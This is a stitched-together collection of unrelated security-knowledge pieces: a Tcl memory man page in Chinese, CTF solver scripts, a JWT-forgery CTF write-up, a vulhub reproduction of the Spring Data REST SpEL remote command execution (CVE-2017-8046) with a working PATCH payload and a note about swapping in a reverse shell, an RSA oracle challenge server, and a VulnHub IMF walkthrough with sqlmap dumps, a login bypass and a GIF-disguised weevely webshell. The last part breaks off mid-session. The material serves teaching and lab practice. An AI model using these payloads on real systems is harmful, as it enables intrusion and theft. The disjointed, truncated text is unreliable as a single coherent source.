Rootkit的分析](https://blog.trendmicro.com.tw/?p=66511) - 12.31 [一场利用Citrix ADC的全球性DDoS反射攻击正在进行](http://blog.nsfocus.net/citrix-adc-ddos-1231/) **** ##关于 author: [drov_liu](none)
sec-knowleage
.\" .\" Memory.man .\" .\" Extended Tcl memory leak locator. .\"---------------------------------------------------------------------------- .\" Copyright 1992-1999 Karl Lehenbauer and Mark Diekhans. .\" .\" Permission to use, copy, modify, and distribute this software and its .\" documentation for any purpose and without fee is hereby granted, provided .\" that the above copyright notice appear in all copies. Karl Lehenbauer and .\" Mark Diekhans make no representations about the suitability of this .\" software for any purpose. It is provided "as is" without express or .\" implied warranty. .\"---------------------------------------------------------------------------- .\" $Id: memory.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ .\"---------------------------------------------------------------------------- .\" .TH "Memory" 3tcl "" "Tcl" .SH NAME ckalloc, memory, ckfree, Tcl_DisplayMemory, Tcl_InitMemory, Tcl_ValidateAllMemory - 合法的内存分配接口 .SH "总览 SYNOPSIS" .nf .B memory \fBinfo\fR .B memory \fBtrace\fR [\fBon|off\fR] .B memory \fBvalidate\fR [\fBon|off\fR] .B memory \fBtrace_on_at_malloc\fR \fInnn\fR .B memory \fBbreak_on_malloc\fR \fInnn\fR .B memory \fBdisplay\fR \fIfile\fR .sp 2 .ft CW #include <tcl.h> .sp char * ckalloc (unsigned size) .sp void ckfree (char *ptr) .sp int Tcl_DumpActiveMemory (char *fileName); .sp void Tcl_ValidateAllMemory (char *file, int line) void Tcl_InitMemory (interp) .ft R ' .SH ARGUMENTS Tcl_Interp *fileName uint size in char *ptr in Tcl_Interp *interp in A pointer to the Tcl interpreter. char *file in The filename of the caller of Tcl_ValidateAllMemory. int line in The line number of the caller of Tcl_ValidateAllMemory. char *fileName in File to display list of active memory. .SH "描述 DESCRIPTION" .SS ckalloc .PP This macro allocates memory, in the same manner as \fBmalloc\fR, with the following differences: One, \fBckalloc\fR checks the value returned from \fBmalloc\fR (it calls \fBmalloc\fR for you) and panics if the allocation request fails. Two, if enabled at compile time, a version of \fBckalloc\fR with special memory debugging capabilities replaces the normal version of \fBckalloc\fR, which aids in detecting memory overwrites and leaks (repeated allocations not matched by corresponding frees). .PP Parameters: .RS 2 \fBo \fIsize\fR - The size of the memory block to be allocated. .RE .PP Returns: .RS 2 A pointer to the allocated memory block. .RE ' .SS ckfree .PP This macro frees memory allocated by \fBckalloc\fR. Like \fBckalloc\fR, when memory debugging is enabled, \fBckfree\fR has enhanced capabilities for detecting memory overwrites and leaks. .PP It is very important that you use \fBckalloc\fR when you need to allocate memory, and that you use \fBckfree\fR to free it. Should you use \fBmalloc\fR to allocate and \fBckfree\fR to free, spurious memory validation errors will occur when memory debugging is enabled. Should you use \fBfree\fR to free memory allocated by \fBckalloc\fR, memory corruption will occur when memory debugging is enabled. Any memory that is to be become the property of the Tcl interpreter, such as result space, must be allocated with \fBckalloc\fR. If it is absolutely necessary for an application to pass back \fBmalloc\fRed memory to Tcl, it will work only if Tcl is complied with the \fBTCL_MEM_DEBUG\fR flag turned off. If you convert your application to use this facility, it will help you find memory over runs and lost memory. Note that memory allocated by a C library routine requiring freeing should still be freed with \fBfree\fR, since it calls \fBmalloc\fR rather than \fBckalloc\fR to do the allocation. .PP Parmeters: .RS 2 \fBo \fIptr\fR - The address of a block to free, as returned by ckalloc. .RE .sp ' .SS Tcl_DumpActiveMemory .PP This function will output a list of all currently allocated memory to the specified file. The following information is outputted for each allocated block of memory: starting and ending addresses (excluding guard zone), size, source file where \fBckalloc\fR was called to allocate the block and line number in that file. It is especially useful to call \fBTcl_DumpActiveMemory\fR after the Tcl interpreter has been deleted. .PP Parameters: .RS 2 \fBo \fIfileName\fR - The name of the file to output the memory list to. .RE ' .SS Tcl_ValidateAllMemory .PP Forces a validation of the guard zones of all currently allocated blocks of memory. Normally validation of a block occurs when its freed, unless full validation is enabled, in which case validation of all blocks occurs when \fBckalloc\fR and \fBckfree\fR are called. This function forces the validation to occur at any point. .PP Parameters: .RS 2 \fBo \fIfile\fR - The file that this routine is being called from, normally \fB__FILE__\fR. .br \fBo \fIline\fR - The line that this routine is being called from, normally \fB__LINE__\fR. .RE ' .SH ENABLING MEMORY DEBUGGING .PP To enable memory debugging, Tcl should be recompiled from scratch with \fBTCL_MEM_DEBUG\fR defined. This will also compile in a non-stub version of \fBTcl_InitMemory\fR to add the \fBmemory\fR command to Tcl. .PP \fBTCL_MEM_DEBUG\fR must be either left defined for all modules or undefined for all modules that are going to be linked together. If they are not, link errors will occur, with either \fBTclDbCkfree\fR and \fBTcl_DbCkalloc\fR or \fBTcl_Ckalloc\fR and \fBTcl_Ckfree\fR being undefined. ' .SH GUARD ZONES .PP When memory debugging is enabled, whenever a call to \fBckalloc\fR is made, slightly more memory than requested is allocated so the memory debugging code can keep track of the allocated memory, and also eight-byte ``guard zones'' are placed in front of and behind the space that will be returned to the caller. (The size of the guard zone is defined by the C #define \fBGUARD_SIZE\fR in \fIbaseline/src/ckalloc.c\fR -- it can be extended if you suspect large overwrite problems, at some cost in performance.) A known pattern is written into the guard zones and, on a call to \fBckfree\fR, the guard zones of the space being freed are checked to see if either zone has been modified in any way. If one has been, the guard bytes and their new contents are identified, and a ``low guard failed'' or ``high guard failed'' message is issued. The ``guard failed'' message includes the address of the memory packet and the file name and line number of the code that called \fBckfree\fR. This allows you to detect the common sorts of one-off problems, where not enough space was allocated to contain the data written, for example. ' .SH THE MEMORY COMMAND .TP .B memory \fIoptions\fR .br The Tcl \fBmemory\fR command gives the Tcl developer control of Tcl's memory debugging capabilities. The memory command has several suboptions, which are described below. It is only available when Tcl has been compiled with memory debugging enabled. ' .TP .B memory \fBinfo\fR .br 生成一个报告,包含自从 Tcl 启动以来分配和释放的(内存)总数,当前分配的包(未遇到相应的到 \fBckfree \fR的调用的到 \fBckalloc\fR 的调用的当前数目)的数目,当前分配的字节数,和已分配的包和字节的最大的数目。 ' .TP .B memory \fBtrace\fR [\fBon|off\fR] .br 使内存跟踪开启或关闭。在开启内存跟踪的时候,对 \fBckalloc\fR 的每次调用都导致向 \fIstderr \fR写一行跟踪信息,其组成有字 \fIckalloc\fR,随后是返回的地址,分配的内存总数,和进行分配的 C 文件名和代码的行数。例如:... .sp \fBckalloc 40e478 98 tclProc.c 1406\fR .sp Calls to \fBckfree\fR are traced in the same manner, except that the word \fIckalloc\fR is replaced by the word \fIckfree\fR. ' .TP .B memory \fBvalidate\fR [\fBon|off\fR] .br 使内存生效(validation)开启或关闭。在开启内存生效的时候,在对\fBckalloc\fR 或 \fBckfree \fR的每次调用上,检查用 \fBckalloc \fR分配的每块现存的内存的守卫区(guard zone)。这有很大的性能影响而只在强烈怀疑有覆写(overwrite)问题的时候才使用。开启内存生效的益处是在覆写发生之后第一次调用 \fBckalloc\fR 或 \fBckfree\fR 的时候就能检测到守卫区覆写,而不是在释放有覆写守卫区的内存的时候,释放可能在内存覆写发生之后才发生。 ' .TP .B memory \fBtrace_on_at_malloc\fR \fInnn\fR .br 在进行了 \fIcount\fR\fI \fR数目 \fBckalloc \fR之后启用内存跟踪。例如,如果你键入了 \fBmemory trace_on_at_malloc 100\fR,在第 100 次调用 \fBckalloc \fR之后,将对所有分配和释放的内存显示内存跟踪信息。因为在一个问题发生之前可能有许多内存活动,如果你能在问题出现( sets in)之前标识出一定数目的分配,决定(judicious)使用这个选项可以减轻跟踪导致的速度变慢(和生成的跟踪信息总数)。在发生一个守卫区错误时,输出自从 Tcl 启动以来发生的内存分配的当前数目。 .TP .B memory \fBbreak_on_malloc\fR \fInnn\fR .br 在进行了 \fB\fIcount\fR\fR 数目的 \fBckalloc\fR 分配之后,输出一个(中断)消息,表示它现在想进入 C 调试器。 Tcl 将向自身发出一个 \fISIGINT\fR 信号。如果你在一个 C 调试器下运行 Tcl,它将接着进入调试器命令模式。 ' .TP .B memory \fBdisplay\fR \fIfile\fR .br 向指定文件写当前所有分配的内存的一个列表。 ' .SH DEBUGGING DIFFICULT MEMORY CORRUPTION PROBLEMS .PP Normally, Tcl compiled with memory debugging enabled will make it easy to isolate a corruption problem. Turning on memory validation with the memory command can help isolate difficult problems. If you suspect (or know) that corruption is occurring before the Tcl interpreter comes up far enough for you to issue commands, you can set \fBMEM_VALIDATE\fR define, recompile tclCkalloc.c and rebuild Tcl. This will enable memory validation from the first call to \fBckalloc\fR, again, at a large performance impact. .PP If you are desperate and validating memory on every call to \fBckalloc\fR and \fBckfree\fR isn't enough, you can explicitly call \fBTcl_ValidateAllMemory\fR directly at any point. It takes a \fIchar *\fR and an \fIint\fR which are normally the filename and line number of the caller, but they can actually be anything you want. Remember to remove the calls after you find the problem. ' .SH "关键字 KEYWORDS" ckalloc, ckfree, free, memory, malloc .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/28 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
#!/usr/bin/python # nc 52.78.36.66 82 def solver(str1,str2): finalstr = str1 + '==' + str2 result = True tab = [[0,1] if x in finalstr else [0] for x in ['A','B','C','D','E','F','G','H','I']] for A in tab[0]: for B in tab[1]: for C in tab[2]: for D in tab[3]: for E in tab[4]: for F in tab[5]: for G in tab[6]: for H in tab[7]: for I in tab[8]: result &= eval(finalstr.replace('*','&').replace('+','|').replace('A', str(A)).replace('B',str(B)).replace('C',str(C)).replace('D',str(D)).replace('E', str(E)).replace('F', str(F)).replace('G',str(G)).replace('H',str(H)).replace('I',str(I))) if result is False: return result return result import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('52.78.36.66',82)) while True: x = s.recv(999999) if 'flag' in x: break i1 = x.index('E1') i2 = x.index('E2') str1 = x[(i1+4):(i2-1)] str2 = x[(i2+4):(len(x)-3)] print str1 print str2 junk = raw_input('ok? ') if solver(str1,str2): s.sendall("YES\n") else: s.sendall("NO\n") print x # WhiteHat{BO0l3_1s_s1MpL3_f0R_Pr0gR4mM3R}
sec-knowleage
# REdQueen * Category: Web * 400 Points * Solved by the JCTF Team ## Description > Revolution is about to start > Enter! take a part > Do you ready to test what is within your heart? > > Quenched in the search of knowing > Under the path you should not be slowing > Elders know, but they are toying > Entrusted with the glowing > Ninjas are left for coding ## Solution We visit the attached website and get a login screen: ```html <form class="login100-form validate-form"> <span class="login100-form-title"> Member Login </span> <div class="wrap-input100 validate-input"> <input id="username" class="input100" type="text" name="text" placeholder="Username"> <span class="focus-input100"></span> <span class="symbol-input100"> <i class="fa fa-user" aria-hidden="true"></i> </span> </div> <div class="wrap-input100 validate-input" data-validate="Password is required"> <input id="password" class="input100" type="password" name="pass" placeholder="Password"> <span class="focus-input100"></span> <span class="symbol-input100"> <i class="fa fa-lock" aria-hidden="true"></i> </span> </div> <div class="container-login100-form-btn"> <button id="loginbtn" class="login100-form-btn"> Login </button> </div> <div class="text-center p-t-12"> <span class="txt1"> Forgot </span> <a class="txt2" href="/forgot"> Username / Password? </a> </div> <div class="text-center p-t-136"> <a class="txt2" href="/CreateAccount"> Create your Account <i class="fa fa-long-arrow-right m-l-5" aria-hidden="true"></i> </a> </div> </form> ``` We can register: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen] └─$ curl 'https://redqueen.intent.ctf.today/api/register' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"username":"user3","password":"password3"}' { "message": "", "status": 1 } ``` Then use the credentials to login: ```console ┌──(user@kali)-[~/utils/web/jwt_tool] └─$ curl 'https://redqueen.intent.ctf.today/api/login' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"username":"user3","password":"password3"}' { "status": 1, "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhOWIzMzNiYS0wMWY4LTQ0MzQtOTgxNy01MzNmYzM5N2EyNzMiLCJ1c2VybmFtZSI6InVzZXIzIiwiZXhwIjoxNjcxMjE5NDc4fQ.JYVA-cZ38hCo8ipr0M6f48a6FCP-DLwpIFN3zra2OoM" } ``` Once we're logged in, the Red Queen challenges us: ``` RedQueen Username A dark secret is kept safe Only one user holds it Will you be the one to guess? ``` We also get a search box to search for text within the Alice in Wonderland book: ```html <p class="text-center">Hello user3,<br/>Here is a search engine for the book - Alice in Wonderland.<br/>Use it, and you might find some secrets in it:</p> <br/> <div class="wrap-input100 validate-input"> <input id="patternInput" class="input100" type="text" name="text" placeholder="Regex pattern" value="Alice"> <span class="focus-input100"></span> <span class="symbol-input100"> <i class="fa fa-search"></i> </span> </div> ``` Let's test it: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen] └─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt - c cookie.txt --data-raw '{"pattern":"test"}' { "results": [ " `I haven't the slightest idea,' said the Hatter." ] } ``` Can we really use regex? ```console ┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen] └─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"pattern":"te.t"}' { "results": [ " `Are you content now?' said the Caterpillar.", " `I haven't the slightest idea,' said the Hatter." ] } ``` So a pattern such as `.*` might reveal the whole text: ``` ┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen] └─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"pattern":".*"}' -s | head { "results": [ "Alice's Adventures in Wonderland\n", "\n ALICE'S ADVENTURES IN WONDERLAND", "\n", "\n Lewis Carroll", "\n", "\n THE MILLENNIUM FULCRUM EDITION 3.0", "\n", "\n", ┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen] └─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"pattern":".*"}' -s | tail "\nloving heart of her childhood: and how she would gather about", "\nher other little children, and make THEIR eyes bright and eager", "\nwith many a strange tale, perhaps even with the dream of", "\nWonderland of long ago: and how she would feel with all their", "\nsimple sorrows, and find a pleasure in all their simple joys,", "\nremembering her own child-life, and the happy summer days.", "\n", "\n THE END" ] } ``` If we compare the output to copies of Alice in Wonderland that can be found online, we'll find that they are 1:1 binary identical, so no secret is hiding there. This leads us to try and attack the website API itself by sending malformed requests. If we call the register endpoint without a password, we get an error which leaks part of the code: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen] └─$ curl 'https://redqueen.intent.ctf.today/api/register' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"username":""}' -s ``` Results in: ``` File "/usr/src/app/main.py", line 58, in signup_user @app.route('/api/register', methods=['POST']) def signup_user(): data = request.get_json() hashed_password = generate_password_hash(data['password'], method='sha256') new_user = Users(public_id=str(uuid.uuid4()), username=data['username'], password=hashed_password, admin=False) is_user_exists_already = Users.query.filter_by(username=new_user.username).first() if is_user_exists_already is not None: return jsonify({'status': 0, 'message': "User already exists!"}) KeyError: 'password' ``` Or, search for an invalid regex pattern: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen] └─$ curl 'https://redqueen.intent.ctf.today/api/RegexSearch' -X POST -H 'Content-Type: application/json' -b cookie.txt -c cookie.txt --data-raw '{"pattern":"*"}' -s ``` The exception we get is: ``` File "/usr/src/app/main.py", line 100, in regex_search print("pattern in json_body") print(regex_pattern) if regex_pattern is not None: with open(os.path.join(RUNNING_FOLDER, "alice_in_wonderland.txt"), "r") as fi: alice_textbook = fi.read() res = re.findall(f".*{regex_pattern}[,\\ .|\\s].*", alice_textbook, flags=re.IGNORECASE) return jsonify({'results': res}) # Based on https://stackoverflow.com/questions/66617043/flask-rest-api-typeerror def token_required(f): ``` What's that StackOverflow reference? ```python from flask import Flask, request, jsonify, make_response from flask_sqlalchemy import SQLAlchemy from werkzeug.security import generate_password_hash, check_password_hash import uuid import jwt import datetime from functools import wraps app = Flask(__name__) app.config['SECRET_KEY'] = 'Th1s1ss3cr3t' app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///library.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True db = SQLAlchemy(app) class Users(db.Model): id = db.Column(db.Integer, primary_key=True) public_id = db.Column(db.Integer) name = db.Column(db.String(50)) password = db.Column(db.String(50)) admin = db.Column(db.Boolean) class Authors(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True, nullable=False) book = db.Column(db.String(20), unique=True, nullable=False) country = db.Column(db.String(50), nullable=False) booker_prize = db.Column(db.Boolean) user_id = db.Column(db.Integer) def token_required(f): @wraps(f) def decorator(*args, **kwargs): token = None if 'x-access-tokens' in request.headers: token = request.headers['x-access-tokens'] if not token: return jsonify({'message': 'a valid token is missing'}) try: data = jwt.decode(token, app.config[SECRET_KEY]) current_user = Users.query.filter_by(public_id=data['public_id']).first() except: return jsonify({'message': 'token is invalid'}) return f(current_user, *args, **kwargs) return decorator @app.route('/register', methods=['GET', 'POST']) def signup_user(): data = request.get_json() hashed_password = generate_password_hash(data['password'], method='sha256') new_user = Users(public_id=str(uuid.uuid4()), name=data['name'], password=hashed_password, admin=False) db.session.add(new_user) db.session.commit() return jsonify({'message': 'registered successfully'}) ``` You must admit that the code that we leaked looks too similar to this StackOverflow reference. Is it possible that the `SECRET_KEY` was also reused? ```python app.config['SECRET_KEY'] = 'Th1s1ss3cr3t' ``` Let's try to verify this, first by trying to decode the JWT with a fake key, then using the suspected one: ```python >>> import jwt >>> token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhOWIzMzNiYS0wMWY4LTQ0MzQtOTgxNy01MzNmYzM5N2EyNzMiLCJ1c2VybmFtZSI6InVzZXIzIiwiZXhwIjoxNjcxMjE5NDc4fQ.JYVA-cZ38h ... Co8ipr0M6f48a6FCP-DLwpIFN3zra2OoM" >>> data = jwt.decode(token, "fakeKey", algorithms="HS256") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/user/.local/lib/python3.10/site-packages/jwt/api_jwt.py", line 168, in decode decoded = self.decode_complete( File "/home/user/.local/lib/python3.10/site-packages/jwt/api_jwt.py", line 120, in decode_complete decoded = api_jws.decode_complete( File "/home/user/.local/lib/python3.10/site-packages/jwt/api_jws.py", line 202, in decode_complete self._verify_signature(signing_input, header, signature, key, algorithms) File "/home/user/.local/lib/python3.10/site-packages/jwt/api_jws.py", line 301, in _verify_signature raise InvalidSignatureError("Signature verification failed") jwt.exceptions.InvalidSignatureError: Signature verification failed Signature verification failed >>> data = jwt.decode(token, "Th1s1ss3cr3t", algorithms="HS256") >>> data {'public_id': 'a9b333ba-01f8-4434-9817-533fc397a273', 'username': 'user3', 'exp': 1671219478} >>> ``` It works! Which means that we can try to login as a different user. Which user? How about `RedQueen` from before? ```python >>> data["username"] = "RedQueen" >>> encoded = jwt.encode(data, "Th1s1ss3cr3t", algorithm="HS256") >>> encoded 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhOWIzMzNiYS0wMWY4LTQ0MzQtOTgxNy01MzNmYzM5N2EyNzMiLCJ1c2VybmFtZSI6IlJlZFF1ZWVuIiwiZXhwIjoxNjcxMjE5NDc4fQ.N8Axj7taXH0zUMI1nUvT35FhphIvMj9Ea-xSyBzTa4Q' ``` We use this token to fetch the home page and get the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/REdQueen] └─$ curl 'https://redqueen.intent.ctf.today/home' -H 'Cookie: loginToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhOWIzMzNiYS0wMWY4LTQ0MzQtOTgxNy01MzNmYzM5N2EyNzMiLCJ1c2VybmFtZSI6IlJlZFF1ZWVuIiwiZXhwIjoxNjcxMjE5NDc4fQ.N8Axj7taXH0zUMI1nUvT35FhphIvMj9Ea-xSyBzTa4Q; intent-session=57ba9ed9f1a7d3d960143325b18d935e|29c10b2a403876fa3e4afe21f6464b04' -s | grep FLAG <h1>FLAG - INTENT{PR0B4BLY-W3-N33D-4-N3W-53CR37-MY-M4J357Y} </h1> ```
sec-knowleage
# Spring Data Rest 远程命令执行漏洞(CVE-2017-8046) Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现[RFC6902](https://tools.ietf.org/html/rfc6902)),path的值被传入`setValue`,导致执行了SpEL表达式,触发远程命令执行漏洞。 参考链接: - http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/ - https://tech.meituan.com/Spring_Data_REST_远程代码执行漏洞%28CVE-2017-8046%29_分析与复现.html ## 环境搭建 执行如下命令启动漏洞环境: ``` docker compose up -d ``` 等待环境启动完成,然后访问`http://your-ip:8080/`即可看到json格式的返回值,说明这是一个Restful风格的API服务器。 ## 漏洞复现 访问`http://your-ip:8080/customers/1`,看到一个资源。我们使用PATCH请求来修改之: ``` PATCH /customers/1 HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json-patch+json Content-Length: 202 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }] ``` path的值是SpEL表达式,发送上述数据包,将执行`new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}`表示的命令`touch /tmp/success`。然后进入容器`docker compose exec spring bash`看看: ![](1.png) 可见,success成功创建。 将bytecode改成反弹shell的命令(注意:[Java反弹shell的限制与绕过方式](http://www.jackson-t.ca/runtime-exec-payloads.html)),成功弹回: ![](2.png)
sec-knowleage
import Crypto from Crypto.PublicKey import RSA import threading import socket import sys import os # e = 8257e5269cc0cdb32271154d4f5df508380e27b8826798c7271a237ff9e4191cc047629cf9684703f4826df1c69a1cfe786841d191757515abfe1a09d8bef7d92b40c6b37377e3218b109cfa734802ec418c2e08468ffcf6c11a1314600fce6714fa10fb3d5ed4a7ca89d69dc66d1f34aa9acbc8830b3319d281e0defc393ecb # n = cd67fc599866f87bc45ff87c1634aa144ee257c963ab2541052f3b38d22a11b255b0dd9318153699664b1007b7f38118df77f703909888c3930b73221c57828fc423a643b1eaf47f03d6c24b11d907f979dae4aa47347959c7c77bda8f9804dd95cc438d75ced522c7391a5d1432978440bfacc9939a33d6e6e058b15a084f99 class ClientThread(threading.Thread): def __init__(self,ip,port,socket): threading.Thread.__init__(self) self.ip = ip self.port = port self.socket = socket self.keysFile = "/home/challenge/keys.txt" self.encrypted_flag_file = "/home/challenge/flag.encrypted" print "[+] New thread started for "+ip+":"+str(port) def run(self): print "Connection from : "+ip+":"+str(port) original_ctext = open(self.encrypted_flag_file, 'r').readline() self.socket.send("Enter cipher text for which you want the plaintext.\n") ct = self.socket.recv(1024).strip() print ct if ct == original_ctext: self.socket.send("Enter a different ciphertext!\n") else: parameters = open(self.keysFile, 'r').readlines() for i in range(len(parameters)): parameters[i] = int(parameters[i], 16) parameter_tuple = tuple(parameters) key = RSA.construct(parameter_tuple) try: decrypted = key.decrypt(ct.decode('hex')) self.socket.send("Plaintext: %s" % decrypted.encode('hex')) except: self.socket.send("Invalid" + "\n") self.socket.close() print "Client disconnected..." self.socket.close() host = "0.0.0.0" port = 18734 tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) tcpsock.bind((host,port)) threads = [] while True: tcpsock.listen(4) print "\nListening for incoming connections..." (clientsock, (ip, port)) = tcpsock.accept() # Let's use a new thread for each incoming connection newthread = ClientThread(ip, port, clientsock) newthread.start() threads.append(newthread) for t in threads: t.join()
sec-knowleage
import hashlib def md5(s): m=hashlib.md5() m.update(s) return m.hexdigest() def hash(s): return md5(md5(s)+"SALT") def isnum(s): for c in s: if c not in "0123456789": return False return True i=0 while True: i+=1 h=hash(str(i)) if h[:2]=="0e" and isnum(h[2:]): print h print i break if i%1000000==0: print i
sec-knowleage
# IMF > https://download.vulnhub.com/imf/IMF.ova 靶场IP:`192.168.32.175` ![image-20220718170351516](../../.gitbook/assets/image-20220718170351516.png) 扫描对外端口 ``` ┌──(root💀kali)-[~/Desktop] └─# nmap -p 1-65535 192.168.32.175 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-18 05:04 EDT Nmap scan report for 192.168.32.175 Host is up (0.00028s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http MAC Address: 00:0C:29:69:7C:06 (VMware) Nmap done: 1 IP address (1 host up) scanned in 105.01 seconds ``` 浏览器访问80端口 ![image-20220718170919899](../../.gitbook/assets/image-20220718170919899.png) 在contact.php的源代码找到flag ![image-20220718171300971](../../.gitbook/assets/image-20220718171300971.png) ``` ┌──(root💀kali)-[~/Desktop] └─# echo "YWxsdGhlZmlsZXM=" | base64 -d allthefiles ``` 还有一个加密字符串 ![image-20220718171611896](../../.gitbook/assets/image-20220718171611896.png) ``` ┌──(root💀kali)-[~/Desktop] └─# echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==} ┌──(root💀kali)-[~/Desktop] └─# echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d imfadministrator ``` 访问`/allthefiles`目录 ![image-20220718171707015](../../.gitbook/assets/image-20220718171707015.png) 访问`/imfadministrator`目录 ![image-20220718171733199](../../.gitbook/assets/image-20220718171733199.png) 查看页面源代码 ![image-20220718172009129](../../.gitbook/assets/image-20220718172009129.png) 修改数据包 ``` POST /imfadministrator/ HTTP/1.1 Host: 192.168.32.175 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 25 Origin: http://192.168.32.175 Connection: keep-alive Referer: http://192.168.32.175/imfadministrator/ Cookie: PHPSESSID=ngh2u9s8em7p7tj8rbljpo8a61 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache user=rmichaels&pass[]=123 ``` 获取flag3 ``` flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a> ``` ``` ┌──(root💀kali)-[~/Desktop] └─# echo 'Y29udGludWVUT2Ntcw==' | base64 -d continueTOcms ``` 访问cms.php ![image-20220718173407484](../../.gitbook/assets/image-20220718173407484.png) ``` ┌──(root💀kali)-[/tmp] └─# cat 1.txt GET /imfadministrator/cms.php?pagename=home HTTP/1.1 Host: 192.168.32.175 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://192.168.32.175/imfadministrator/cms.php Cookie: PHPSESSID=ngh2u9s8em7p7tj8rbljpo8a61 Upgrade-Insecure-Requests: 1 ``` 使用sqlmap去跑 ``` ┌──(root💀kali)-[/tmp] └─# sqlmap -r 1.txt -p pagename --level 5 --risk 3 --dbms=mysql -D admin -T pages --dump Database: admin Table: pages [4 entries] +----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+ | id | pagedata | pagename | +----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+ | 1 | Under Construction. | upload | | 2 | Welcome to the IMF Administration. | home | | 3 | Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training. | tutorials-incomplete | | 4 | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary | disavowlist | +----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+ ``` 找到一个图片文件 ![image-20220718173528676](../../.gitbook/assets/image-20220718173528676.png) 扫描二维码找到`flag4{dXBsb2Fkcjk0Mi5waHA=}` ``` ─(root💀kali)-[/tmp] └─# echo 'dXBsb2Fkcjk0Mi5waHA=' | base64 -d uploadr942.php ``` ![image-20220718173659333](../../.gitbook/assets/image-20220718173659333.png) 进入后,我们得到了一个上传页面 ![image-20220718173901920](../../.gitbook/assets/image-20220718173901920.png) php后缀不能上传 ![image-20220718174134739](../../.gitbook/assets/image-20220718174134739.png) 有WAF进行检测 ![image-20220718174207069](../../.gitbook/assets/image-20220718174207069.png) 使用weevely生成shell ``` ─(root💀kali)-[/tmp] └─# weevely generate 123456 shell.php Generated 'shell.php' with password '123456' of 744 byte size. ┌──(root💀kali)-[/tmp] └─# mv shell.php shell.gif ``` 在文件最前面添加GIF头 ``` GIF89a3444 ``` ![image-20220718175020225](../../.gitbook/assets/image-20220718175020225.png) ![image-20220718175101551](../../.gitbook/assets/image-20220718175101551.png) ``` ──(root💀kali)-[/tmp] └─# weevely http://192.168.32.175/imfadministrator/uploads/edb0327e464d.gif 123456 [+] weevely 4.0.1 [+] Target: 192.168.32.175 [+] Session: 